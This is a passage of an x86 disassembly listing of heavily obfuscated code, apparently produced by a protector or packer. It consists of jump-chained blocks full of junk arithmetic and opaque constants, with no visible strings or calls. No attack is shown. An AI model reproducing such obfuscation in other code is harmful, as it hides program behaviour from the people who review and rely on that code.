		mov	[esp-6E6Ah+arg_6E60+2],	ecx
		push	[esp-6E6Ah+arg_6E64+2]
		pop	ecx
		pop	[esp-6E6Ah+arg_6E60+2]
		pop	esp
		push	[esp-6E72h+arg_6E68+2]
		mov	ecx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A0273
; ---------------------------------------------------------------------------


loc_59CEAC:				; CODE XREF: sub_581EE9+1B6A8j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		mov	ecx, 276A5244h
		push	ebp
		jmp	loc_59C216
; ---------------------------------------------------------------------------


loc_59CEBE:				; CODE XREF: sub_581EE9+1C9EFj
		push	cx
		mov	ch, 0ECh
		sub	bh, ch
		mov	cx, word ptr [esp-6E60h+arg_6E58]
		add	esp, 2
		sub	esp, 4
		mov	[esp-6E60h+arg_6E58], ecx
		mov	cl, bh
		mov	dh, cl
		mov	ecx, [esp-6E60h+arg_6E58]
		add	esp, 4
		pop	ebx
		xor	bh, dh
		pop	dx
		sub	esp, 4
		mov	[esp-6E66h+arg_6E5C+2],	edx
		mov	dh, cl
		push	edx
		push	ecx
		sub	esp, 4
		mov	[esp-6E5Ah+arg_6E50+2],	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		mov	dh, cl
		pop	ecx
		push	ebx
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		pop	edx
		mov	bh, dh
		push	[esp-6E66h+arg_6E5C+2]
		pop	edx
		add	esp, 4
		sub	cl, 1
		xchg	cl, bh
		inc	bh
		jmp	loc_5A0985
; ---------------------------------------------------------------------------


loc_59CF1D:				; CODE XREF: sub_581EE9+2442Dj
		add	ebx, 4
		push	425Ch
		mov	[esp-6E66h+arg_6E5C+2],	ecx
		push	esi
		mov	esi, 7A442EDCh
		add	esi, 0FFFFFFFFh
		sub	esi, 7A442ED9h
		push	esi
		add	[esp-6E5Eh+arg_6E54+2],	211A2F27h
		mov	ecx, [esp-6E5Eh+arg_6E54+2]
		add	esp, 4
		push	eax
		mov	eax, 538D7E1Eh
		jmp	loc_5A1A5F
; ---------------------------------------------------------------------------


loc_59CF59:				; CODE XREF: sub_581EE9+17779j
		mov	esi, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		mov	ebx, esi
		push	[esp-6E5Eh+arg_6E54+2]
		jmp	loc_5983F8
; ---------------------------------------------------------------------------


loc_59CF6C:				; CODE XREF: sub_581EE9+17585j
		mov	edi, 564D5D52h
		push	3A6Ah
		mov	[esp-6E78h+arg_6E6E+2],	esi
		mov	esi, 78462F65h
		dec	esi
		inc	esi
		jmp	loc_5A07A9
; ---------------------------------------------------------------------------


loc_59CF85:				; CODE XREF: sub_581EE9+2350Ej
		mov	ebp, [esp-6E78h+arg_6E6E+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		push	4D45h
		mov	[esp+0], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp+0]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6E78h+arg_6E6E+2]
		jmp	loc_5A033B
; ---------------------------------------------------------------------------


loc_59CFB8:				; CODE XREF: sub_581EE9+10C3Fj
		and	dh, 96h
		neg	dh
		shl	dh, 1
		add	dh, 9Eh
		jmp	loc_59FC7C
; ---------------------------------------------------------------------------


loc_59CFC7:				; CODE XREF: sub_581EE9+192FCj
		push	ecx
		mov	ecx, 6163556Dh
		shl	ecx, 1
		add	ecx, 0B4015C4h
		sub	ecx, 8B05C082h
		jmp	loc_5961D7
; ---------------------------------------------------------------------------


loc_59CFE0:				; CODE XREF: sub_581EE9+24CC2j
		push	[esp-6E66h+arg_6E5C+2]
		jmp	loc_593E02
; ---------------------------------------------------------------------------
		push	[esp-6E62h+arg_6E58+2]
		push	[esp-6E5Eh+arg_6E54+2]
		push	[esp-6E5Ah+arg_6E50+2]
		jmp	loc_59D910
; ---------------------------------------------------------------------------


loc_59CFF6:				; CODE XREF: sub_581EE9+167CEj
		add	edx, 4
		xchg	edx, [esp-6E5Ah+arg_6E50+2]
		jmp	loc_5989F8
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E5Ah+arg_6E50+2]
		push	6393h
		mov	[esp-6E56h+arg_6E4C+2],	ebx
		push	esp
		pop	ebx
		push	77F0h
		mov	[esp-6E52h+arg_6E48+2],	ecx
		mov	ecx, 73011583h
		or	ecx, 2FA84289h
		shl	ecx, 6
		jmp	loc_59FF02
; ---------------------------------------------------------------------------


loc_59D02D:				; CODE XREF: sub_581EE9+1ABCCj
		push	ebx
		jmp	loc_597F79
; ---------------------------------------------------------------------------


loc_59D033:				; CODE XREF: sub_581EE9+12499j
		push	ecx
		mov	ecx, 16F17D1Ch
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5974A4
; ---------------------------------------------------------------------------


loc_59D041:				; CODE XREF: sub_581EE9+10563j
		pop	ecx
		jmp	loc_59E3E2
; ---------------------------------------------------------------------------


loc_59D047:				; CODE XREF: sub_581EE9+1EEB1j
		pop	eax
		add	al, 0DDh
		sub	al, dl
		sub	al, 0DDh
		jmp	loc_5A4044
; ---------------------------------------------------------------------------


loc_59D053:				; CODE XREF: sub_581EE9+13DA1j
		sub	edi, 4
		xchg	edi, [esp-6E7Ch+arg_6E72+2]
		jmp	loc_59D2FA
; ---------------------------------------------------------------------------


loc_59D061:				; CODE XREF: sub_581EE9+1AC33j
		pop	ecx
		jmp	loc_59BF4A
; ---------------------------------------------------------------------------


loc_59D067:				; CODE XREF: sub_581EE9+186CEj
		push	esi
		push	4BC5h
		mov	[esp-6E8Ch+arg_6E84], eax
		mov	eax, 38C0DBAh
		mov	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 1965A78h
		sub	ecx, 35E7519h
		add	ecx, 225D692Fh
		sub	ecx, 5C115A22h
		and	ecx, 34595E16h
		jmp	loc_5A4C58
; ---------------------------------------------------------------------------


loc_59D09B:				; CODE XREF: sub_581EE9+2224Dj
		add	esi, 45C8060Dh
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp+0]
		pop	esp
		push	eax
		jmp	loc_5953A4
; ---------------------------------------------------------------------------


loc_59D0B1:				; CODE XREF: sub_581EE9+1F8A0j
		add	bl, al
		jmp	loc_5A2994
; ---------------------------------------------------------------------------


loc_59D0B8:				; CODE XREF: sub_581EE9+1C492j
		xor	eax, 0F7F6814Bh
		and	esi, eax
		mov	eax, [esp+0]
		add	esp, 4
		or	esi, 4E0235B5h
		xor	esi, 4E0E35B1h
		jmp	loc_596970
; ---------------------------------------------------------------------------


loc_59D0D6:				; CODE XREF: sub_581EE9+11924j
		pop	esi
		push	ebp
		jmp	loc_593D84
; ---------------------------------------------------------------------------


loc_59D0DD:				; CODE XREF: sub_581EE9+1A2BAj
		pop	eax
		jmp	loc_5A303F
; ---------------------------------------------------------------------------


loc_59D0E3:				; CODE XREF: sub_581EE9+24CE0j
		pop	[esp-6E80h+arg_6E76+2]
		mov	esp, [esp-6E84h+arg_6E7C]
		mov	word ptr [esp-6E84h+arg_6E7C], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59D0F9:				; CODE XREF: sub_581EE9+1447Ej
		mov	esi, [esp-6EB6h+arg_6EAC+2]
		add	esp, 4
		mov	ebp, [esp-6EBAh+arg_6EB2]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_59E7FA
		push	dword ptr [edi+1Ch]
		push	edi
		jmp	loc_59C66C
; ---------------------------------------------------------------------------


loc_59D11F:				; CODE XREF: sub_581EE9+15D8Ej
		pop	esp
		dec	esi
		not	esi
		push	96Dh
		mov	[esp-6E9Eh+arg_6E96], edi
		push	eax
		mov	eax, 63281B18h
		add	eax, 18E8749Fh
		push	edi
		mov	edi, 281202FFh
		dec	edi
		neg	edi
		push	edx
		mov	edx, 0B70E472h
		sub	edi, edx
		pop	edx
		xor	eax, edi
		pop	edi
		mov	edi, eax
		mov	eax, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		jmp	loc_5A3E53
; ---------------------------------------------------------------------------


loc_59D158:				; CODE XREF: sub_581EE9+1B506j
		mov	cl, 75h
		add	cl, 0FAh
		shl	cl, 6
		and	cl, 21h
		push	ebx
		mov	bh, 7Ah
		sub	bh, 8Dh
		push	eax
		mov	al, 0BAh
		push	ebx
		mov	bh, 5Ah
		shl	bh, 6
		jmp	loc_599B0E
; ---------------------------------------------------------------------------


loc_59D177:				; CODE XREF: sub_581EE9+11BDEj
		add	ebx, 26715906h
		mov	ecx, dword ptr [esp-6E82h+arg_6E7A]
		sub	esp, 4
		jmp	loc_599490
; ---------------------------------------------------------------------------


loc_59D188:				; CODE XREF: sub_581EE9+1F11Cj
		push	ecx
		push	esi
		jmp	loc_59AC24
; ---------------------------------------------------------------------------


loc_59D18F:				; CODE XREF: sub_581EE9+1EF8Ej
		pop	edx
		jmp	loc_594A39
; ---------------------------------------------------------------------------


loc_59D195:				; CODE XREF: sub_581EE9+2031Bj
		push	edx
		jmp	loc_5984CB
; ---------------------------------------------------------------------------


loc_59D19B:				; CODE XREF: sub_581EE9+20803j
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5A6B31
; ---------------------------------------------------------------------------


loc_59D1AA:				; CODE XREF: sub_581EE9+149DBj
		push	ecx
		jmp	loc_5A57AA
; ---------------------------------------------------------------------------


loc_59D1B0:				; CODE XREF: sub_581EE9+118B1j
		sub	dh, cl
		pop	ecx
		xor	ch, dh
		mov	edx, [esp-6E9Ch+arg_6E92+2]
		jmp	loc_5A548D
; ---------------------------------------------------------------------------


loc_59D1BD:				; CODE XREF: sub_581EE9+19D88j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6E46h+arg_6E3E]
		mov	esp, [esp-6E46h+arg_6E3E]
		sub	esp, 4
		mov	[esp-6E42h+arg_6E3A], eax
		mov	eax, 71E6783Eh
		xor	eax, 75D71717h
		xchg	eax, esi
		jmp	loc_59E4E8
; ---------------------------------------------------------------------------


loc_59D1E5:				; CODE XREF: sub_581EE9+18C31j
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5A4B48
; ---------------------------------------------------------------------------


loc_59D1F1:				; CODE XREF: sub_581EE9+1730Ej
		xor	ah, 4Dh
		sub	bl, ah
		jmp	loc_598971
; ---------------------------------------------------------------------------


loc_59D1FB:				; CODE XREF: sub_581EE9+1E762j
		mov	edx, 204C7DB4h
		shl	edx, 5
		sub	edx, 945A89Eh
		mov	ebx, edx
		pop	edx
		xor	eax, ebx
		pop	ebx
		mov	ebx, eax
		mov	eax, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		xor	ebx, ebp
		mov	ebp, [esp-6E86h+arg_6E7C+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A3634
; ---------------------------------------------------------------------------


loc_59D227:				; CODE XREF: sub_581EE9+106C3j
		xor	ebp, eax
		pop	eax
		and	eax, ebp
		pop	ebp
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	29EEh
		mov	[esp-6EACh+arg_6EA4], edi
		push	[esp-6EACh+arg_6EA4]
		mov	eax, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		push	0A28h
		mov	[esp-6EA8h+arg_6E9E+2],	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		jmp	loc_595ECD
; ---------------------------------------------------------------------------


loc_59D25D:				; CODE XREF: sub_581EE9+1D809j
		add	edi, 0A932E49Eh
		sub	esi, edi
		pop	edi
		jmp	loc_595654
; ---------------------------------------------------------------------------


loc_59D26B:				; CODE XREF: sub_581EE9+19432j
		pop	esp
		jmp	loc_5925E7
; ---------------------------------------------------------------------------


loc_59D271:				; CODE XREF: sub_581EE9+224D8j
		sub	esp, 4
		mov	[esp-6EA0h+arg_6E96+2],	esi
		push	ebp
		mov	ebp, 5F743276h
		push	ebp
		sub	[esp-6E98h+arg_6E8E+2],	764B6807h
		pop	esi
		add	esi, 764B6807h
		pop	ebp
		dec	esi
		xor	esi, 557C0315h
		jmp	loc_599008
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EA0h+arg_6E96+2]
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	esi
		mov	esi, esp
		jmp	loc_597EC4
; ---------------------------------------------------------------------------


loc_59D2B0:				; CODE XREF: sub_581EE9+13B74j
		push	ebx
		push	[esp-6E96h+arg_6E92]
		push	[esp-6E92h+arg_6E8A]
		push	[esp-6E8Eh+arg_6E84+2]
		pop	ebx
		push	edi
		mov	edi, esp
		push	24D5h
		mov	[esp-6E86h+arg_6E7C+2],	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_5A4B26
; ---------------------------------------------------------------------------


loc_59D2D3:				; CODE XREF: sub_581EE9+1C019j
		add	ebp, 1
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	edx
		mov	edx, 80D5D6Eh
		jmp	loc_592C0D
; ---------------------------------------------------------------------------


loc_59D2E6:				; CODE XREF: sub_581EE9+14EF8j
		mov	eax, 177778F2h
		add	eax, 7D8271E0h
		and	eax, 0D136082h
		jmp	loc_594041
; ---------------------------------------------------------------------------


loc_59D2FA:				; CODE XREF: sub_581EE9+1B173j
		pop	esp
		mov	[esp-6E80h+arg_6E76+2],	esi
		push	eax
		mov	eax, 2EDA1FE9h
		add	eax, 0D125E01Bh
		jmp	loc_59322D
; ---------------------------------------------------------------------------


loc_59D30E:				; CODE XREF: sub_581EE9+1F2D7j
		add	edx, 25CF15ACh
		sub	edx, eax
		sub	edx, 25CF15ACh
		pop	eax
		jmp	loc_5992A9
; ---------------------------------------------------------------------------


loc_59D322:				; CODE XREF: sub_581EE9+12FC5j
		push	esi
		mov	esi, esp
		jmp	loc_599FBD
; ---------------------------------------------------------------------------


loc_59D32A:				; CODE XREF: sub_581EE9+21722j
		mov	edx, 738124ACh
		shr	edx, 5
		and	edx, 774E1C58h
		dec	edx
		xor	edx, 58077C34h
		shl	edx, 6
		push	eax
		mov	eax, 5157E7EDh
		sub	edx, eax
		jmp	loc_594D24
; ---------------------------------------------------------------------------


loc_59D34F:				; CODE XREF: sub_581EE9+22CB9j
		pop	edx
		xor	dl, ah
		pop	eax
		xor	cl, dl
		jmp	loc_59AD13
; ---------------------------------------------------------------------------


loc_59D35A:				; CODE XREF: sub_581EE9+112B0j
		pop	esp
		push	680Eh
		mov	[esp+0], edi
		push	eax
		jmp	loc_5978E7
; ---------------------------------------------------------------------------


loc_59D369:				; CODE XREF: sub_581EE9+1C9DBj
		add	eax, ebx
		jmp	loc_598B82
; ---------------------------------------------------------------------------


loc_59D370:				; CODE XREF: sub_581EE9+16E85j
		mov	ebx, ebp
		mov	ebp, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		add	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 55147C7Fh
		push	eax
		mov	eax, 2C2A60ECh
		shr	eax, 2
		xor	eax, 470F1970h
		add	eax, 7C0664B7h
		jmp	loc_59C9FF
; ---------------------------------------------------------------------------


loc_59D39C:				; CODE XREF: sub_581EE9+13CBBj
		mov	eax, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_5A37A0
; ---------------------------------------------------------------------------


loc_59D3A4:				; CODE XREF: sub_581EE9+14BD6j
		not	byte ptr [esp+0]
		pop	ecx
		neg	cl
		dec	cl
		jmp	loc_5A0C53
; ---------------------------------------------------------------------------


loc_59D3B1:				; CODE XREF: sub_581EE9+1FD4Bj
		pop	eax
		jmp	loc_59F160
; ---------------------------------------------------------------------------


loc_59D3B7:				; CODE XREF: sub_581EE9+21657j
		mov	ebp, 2C3514A2h
		shl	ebp, 7
		sub	ebp, 3C394A39h
		dec	ebp
		xor	ebp, 0DE5106C2h
		add	edi, ebp
		jmp	loc_598DB3
; ---------------------------------------------------------------------------


loc_59D3D3:				; CODE XREF: sub_581EE9+21785j
		mov	[esp-6E52h+arg_6E48+2],	eax
		mov	eax, 1EA6096Fh
		shl	eax, 6
		jmp	loc_5A67F3
; ---------------------------------------------------------------------------


loc_59D3E3:				; CODE XREF: sub_581EE9+21CC8j
		mov	dl, 48h
		neg	dl
		push	5AF5h
		mov	[esp-6E4Eh+arg_6E44+2],	ecx
		jmp	loc_59D158
; ---------------------------------------------------------------------------


loc_59D3F4:				; CODE XREF: sub_581EE9+113E9j
		pop	edx
		push	eax
		push	625h
		mov	[esp-6E94h+arg_6E8A+2],	esp
		add	[esp-6E94h+arg_6E8A+2],	4
		pop	eax
		push	edi
		push	ecx
		push	6BC47D9h
		pop	ecx
		jmp	loc_592CA3
; ---------------------------------------------------------------------------


loc_59D410:				; CODE XREF: sub_581EE9+1CA7Cj
		push	esi
		mov	esi, 22542D51h
		sub	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp-6E8Ch+arg_6E84], eax
		jmp	loc_5A66F4
; ---------------------------------------------------------------------------


loc_59D427:				; CODE XREF: sub_581EE9+1780Dj
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	edx
		mov	dl, al
		jmp	loc_5A14B5
; ---------------------------------------------------------------------------


loc_59D434:				; CODE XREF: sub_581EE9+1E74Ej
		mov	esi, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		push	2448h
		mov	[esp-6E72h+arg_6E68+2],	ebp
		mov	ebp, esp
		jmp	loc_592EF4
; ---------------------------------------------------------------------------


loc_59D449:				; CODE XREF: sub_581EE9+19755j
		mov	edx, 0
		jmp	loc_5A291D
; ---------------------------------------------------------------------------


loc_59D453:				; CODE XREF: sub_581EE9+1B8B3j
		pop	esi
		add	eax, ebx
		jmp	loc_5A146B
; ---------------------------------------------------------------------------


loc_59D45B:				; CODE XREF: sub_581EE9+11270j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp-6E52h+arg_6E48+2]
		jmp	loc_5A51F1
; ---------------------------------------------------------------------------


loc_59D46A:				; CODE XREF: sub_581EE9+1719Ej
		sub	ebp, 7A76640Fh
		sub	ebp, ecx
		add	ebp, 7A76640Fh
		push	[esp-6E66h+arg_6E5C+2]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5994D6
; ---------------------------------------------------------------------------


loc_59D48A:				; CODE XREF: sub_581EE9+17E94j
		mov	[esp-6E62h+arg_6E58+2],	ecx
		jmp	loc_5A20AD
; ---------------------------------------------------------------------------
		push	3939h
		mov	[esp-6E5Eh+arg_6E54+2],	esi
		sub	esp, 4
		mov	[esp-6E5Ah+arg_6E50+2],	ebx
		push	0A32ABh
		pop	ebx
		push	edi
		mov	edi, 2A4A290Dh
		or	ebx, edi
		pop	edi
		push	0D9Eh
		mov	[esp-6E56h+arg_6E4C+2],	esi
		push	edi
		push	ebx
		push	eax
		mov	eax, 2395765Ah
		mov	ebx, eax
		pop	eax
		jmp	loc_5996A0
; ---------------------------------------------------------------------------


loc_59D4C7:				; CODE XREF: sub_581EE9+1ACFDj
		push	esp
		pop	eax
		push	edx
		mov	edx, 0B724CB2h
		neg	edx
		shr	edx, 5
		push	ecx
		jmp	loc_5A2B93
; ---------------------------------------------------------------------------


loc_59D4DA:				; CODE XREF: sub_581EE9+10088j
		xor	al, bl
		push	edx
		sub	esp, 4
		jmp	loc_593DA9
; ---------------------------------------------------------------------------


loc_59D4E5:				; CODE XREF: sub_581EE9+13991j
		sub	edi, ebp
		sub	edi, 50810F10h
		sub	edi, 52EA4197h
		pop	ebp
		jmp	loc_59FF73
; ---------------------------------------------------------------------------


loc_59D4F9:				; CODE XREF: sub_581EE9+11A40j
		xor	[esp-6EA2h+arg_6E9A], 6CF84FD5h
		push	[esp-6EA2h+arg_6E9A]
		pop	ebx
		jmp	loc_5980A0
; ---------------------------------------------------------------------------


loc_59D509:				; CODE XREF: sub_581EE9+2528Aj
		sub	ecx, 0F0F3D2Fh
		not	ecx
		jmp	loc_594BD0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59D51E:				; CODE XREF: sub_581EE9+19157j
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		push	ecx
		push	[esp-6EAAh+arg_6EA4+2]
		mov	ecx, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		pop	dword ptr [esp-6EAAh+arg_6EA2]
		mov	esp, [esp-6EAEh+arg_6EA4+2]
		mov	[esp-6EAEh+arg_6EA4+2],	edx
		sub	esp, 4
		mov	dword ptr [esp-6EAAh+arg_6EA2],	eax
		push	edi
		mov	edi, 44920F6Bh
		xor	dword ptr [esp-6EA6h+arg_6EA2],	edi
		mov	edi, [esp-6EA6h+arg_6E9E]
		jmp	loc_59473E
; ---------------------------------------------------------------------------


loc_59D556:				; CODE XREF: sub_581EE9+196D6j
		sub	esp, 2
		mov	[esp+0], bx
		sub	esp, 4
		mov	[esp-6EB4h+arg_6EAC], ecx
		mov	cl, dl
		mov	bh, cl
		pop	ecx
		not	bh
		mov	dl, bh
		jmp	loc_5A386B
; ---------------------------------------------------------------------------


loc_59D574:				; CODE XREF: sub_581EE9+24AA2j
		add	esp, 4
		add	edi, 2D2755FDh
		add	edi, ebp
		sub	edi, 2D2755FDh
		mov	ebp, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		jmp	loc_59CEAC
; ---------------------------------------------------------------------------


loc_59D596:				; CODE XREF: sub_581EE9+21E01j
		add	eax, esi
		pop	esi
		sub	eax, 4
		push	eax
		push	[esp-6EC0h+arg_6EBA+2]
		pop	eax
		pop	[esp-6EC0h+arg_6EB6+2]
		mov	esp, [esp-6EC4h+arg_6EBA+2]
		mov	[esp-6EC4h+arg_6EBA+2],	ebx
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	ebp
		mov	ebp, 138F0A79h
		jmp	loc_5A098D
; ---------------------------------------------------------------------------


loc_59D5BB:				; CODE XREF: sub_581EE9+19519j
		neg	dl
		shr	dl, 8
		sub	dl, 26h
		or	dl, 0F8h
		sub	dl, 2Dh
		mov	cl, dl
		pop	edx
		xor	cl, bh
		pop	ebx
		shr	cl, 6
		jmp	loc_5971F1
; ---------------------------------------------------------------------------


loc_59D5D7:				; CODE XREF: sub_581EE9+203F1j
		pop	[esp-6E66h+arg_6E5C+2]
		mov	esp, [esp-6E6Ah+arg_6E60+2]
		push	[esp-6E6Ah+arg_6E60+2]
		mov	ecx, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E66h+arg_6E5C+2],	ebx
		jmp	loc_5A1AD1
; ---------------------------------------------------------------------------


loc_59D5F7:				; CODE XREF: sub_581EE9+16A8Ej
		add	bl, 9Eh
		jmp	loc_595AD3
; ---------------------------------------------------------------------------


loc_59D5FF:				; CODE XREF: sub_581EE9+1EC7Bj
		shl	[esp-6E6Ah+arg_6E60+2],	cl
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59D607:				; CODE XREF: sub_581EE9+11B40j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59D60C:				; CODE XREF: sub_581EE9+1570Aj
		pop	ebx
		jmp	loc_597B6B
; ---------------------------------------------------------------------------


loc_59D612:				; CODE XREF: sub_581EE9+1C7DAj
		mov	dh, 74h
		dec	dh
		push	small 46B9h
		mov	word ptr [esp-6EA4h+arg_6E9A+2], bx
		mov	bl, 0C9h
		and	dh, bl
		pop	bx
		sub	dh, 1
		jmp	loc_59DBF6
; ---------------------------------------------------------------------------


loc_59D62C:				; CODE XREF: sub_581EE9+16031j
		mov	ecx, 6515219Bh
		dec	ecx
		sub	ecx, 3B8210F3h
		xor	ecx, 4FBE7C49h
		push	edx
		mov	edx, 99D29316h
		sub	ecx, 2592F2Bh
		add	ecx, edx
		jmp	loc_595783
; ---------------------------------------------------------------------------
		push	[esp-6E62h+arg_6E58+2]
		push	[esp-6E5Eh+arg_6E54+2]
		pop	ecx
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_59CD5F
; ---------------------------------------------------------------------------


loc_59D667:				; CODE XREF: sub_581EE9+2185Fj
		mov	esi, 375B380Bh
		add	esi, 0FFFFFFFFh
		xor	esi, 375B380Eh
		add	edx, 4375E6Dh
		jmp	loc_598FA6
; ---------------------------------------------------------------------------
		mov	esp, [esp-6E5Ah+arg_6E50+2]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59D68B:				; CODE XREF: sub_581EE9+20D23j
		xchg	edi, [esp-6E5Ah+arg_6E50+2]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 31E5457Fh
		shr	eax, 1
		shr	eax, 7
		shl	eax, 3
		xor	eax, 18F2A2Ch
		jmp	loc_59BE20
; ---------------------------------------------------------------------------


loc_59D6B0:				; CODE XREF: sub_581EE9+1D72Aj
		neg	eax
		jmp	loc_593788
; ---------------------------------------------------------------------------


loc_59D6B7:				; CODE XREF: sub_581EE9+162E6j
		push	10C3h
		jmp	loc_59D7F9
; ---------------------------------------------------------------------------


loc_59D6C1:				; CODE XREF: sub_581EE9+17C3Bj
		mov	esi, ebx
		pop	ebx
		xor	eax, esi
		pop	esi
		mov	ecx, eax
		pop	eax
		mov	ebx, ecx
		jmp	loc_5A3389
; ---------------------------------------------------------------------------


loc_59D6D1:				; CODE XREF: sub_581EE9+1D6AEj
		sub	esp, 4
		jmp	loc_59F51B
; ---------------------------------------------------------------------------


loc_59D6DC:				; CODE XREF: sub_581EE9+2038Dj
		pop	edi
		jmp	loc_5A526D
; ---------------------------------------------------------------------------


loc_59D6E2:				; CODE XREF: sub_581EE9+11E04j
		sub	esp, 4
		jmp	loc_59EF42
; ---------------------------------------------------------------------------


loc_59D6ED:				; CODE XREF: sub_581EE9+2086Fj
		add	ebx, 4
		jmp	loc_5A5472
; ---------------------------------------------------------------------------


loc_59D6F8:				; CODE XREF: sub_581EE9+1275Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6E8Ch+arg_6E84]
		mov	esp, [esp-6E8Ch+arg_6E84]
		xor	edx, edx
		sub	esp, 4
		mov	[esp-6E88h+arg_6E80], edi
		jmp	loc_59F2C9
; ---------------------------------------------------------------------------


loc_59D716:				; CODE XREF: sub_581EE9+19993j
		and	esi, 25172C5Ah
		neg	esi
		xor	esi, 5AE64BA8h
		add	edi, esi
		mov	esi, [esp-6E70h+arg_6E68]
		jmp	loc_592619
; ---------------------------------------------------------------------------


loc_59D72E:				; CODE XREF: sub_581EE9+149E8j
		push	2BE81099h
		jmp	loc_5922C3
; ---------------------------------------------------------------------------


loc_59D738:				; CODE XREF: sub_581EE9+18C44j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_5959F8
; ---------------------------------------------------------------------------


loc_59D74C:				; CODE XREF: sub_581EE9+11FCDj
		neg	ebp
		jmp	loc_5A6240
; ---------------------------------------------------------------------------


loc_59D753:				; CODE XREF: sub_581EE9+188B8j
		sub	al, bh
		pop	ebx
		sub	al, 0DAh
		jmp	loc_59C372
; ---------------------------------------------------------------------------


loc_59D75D:				; CODE XREF: sub_581EE9+1084Cj
		pop	ebp
		mov	ebx, edx
		jmp	loc_59E691
; ---------------------------------------------------------------------------


loc_59D765:				; CODE XREF: sub_581EE9+10793j
		pop	ebx
		xor	ecx, [edi+24h]
		push	edx
		jmp	loc_5A6451
; ---------------------------------------------------------------------------


loc_59D76F:				; CODE XREF: sub_581EE9+1C552j
		mov	ebx, 0E0A7F901h
		xor	ebp, ebx
		mov	ebx, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		push	ebp
		mov	ebp, 4CC95929h
		jmp	loc_5965F8
; ---------------------------------------------------------------------------


loc_59D787:				; CODE XREF: sub_581EE9+12850j
		pop	ecx
		push	edi
		jmp	loc_5A3C20
; ---------------------------------------------------------------------------


loc_59D78E:				; CODE XREF: sub_581EE9+1DCACj
		sub	ebx, esi
		add	ebx, 51BA2F9Ch
		sub	ebx, 7B822A36h
		jmp	loc_59D453
; ---------------------------------------------------------------------------


loc_59D7A1:				; CODE XREF: sub_581EE9+1AC4Bj
		add	esi, 2
		xor	esi, [esp-6EACh+arg_6EA4]
		xor	[esp-6EACh+arg_6EA4], esi
		xor	esi, [esp-6EACh+arg_6EA4]
		mov	esp, [esp-6EACh+arg_6EA4]
		jmp	loc_59C8ED
; ---------------------------------------------------------------------------


loc_59D7B5:				; CODE XREF: sub_581EE9+1BB8Dj
		add	eax, ecx
		mov	ecx, [esp-6EACh+arg_6EA4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_593CFD
; ---------------------------------------------------------------------------


loc_59D7CE:				; CODE XREF: sub_581EE9+13FA0j
		mov	edi, 3D0E53A2h
		xor	ebx, edi
		pop	edi
		jmp	loc_597AAD
; ---------------------------------------------------------------------------


loc_59D7DB:				; CODE XREF: sub_581EE9+10F59j
		mov	ebp, 3B774190h
		add	ebp, 0D261E523h
		add	eax, ebp
		jmp	loc_5982DB
; ---------------------------------------------------------------------------


loc_59D7ED:				; CODE XREF: sub_581EE9+141C0j
		push	ebp
		jmp	loc_59BFAD
; ---------------------------------------------------------------------------


loc_59D7F3:				; CODE XREF: sub_581EE9+11B50j
		pop	edi
		jmp	loc_59DC10
; ---------------------------------------------------------------------------


loc_59D7F9:				; CODE XREF: sub_581EE9+1B7D3j
		mov	[esp-6E88h+arg_6E80], eax
		mov	eax, 69BD51C1h
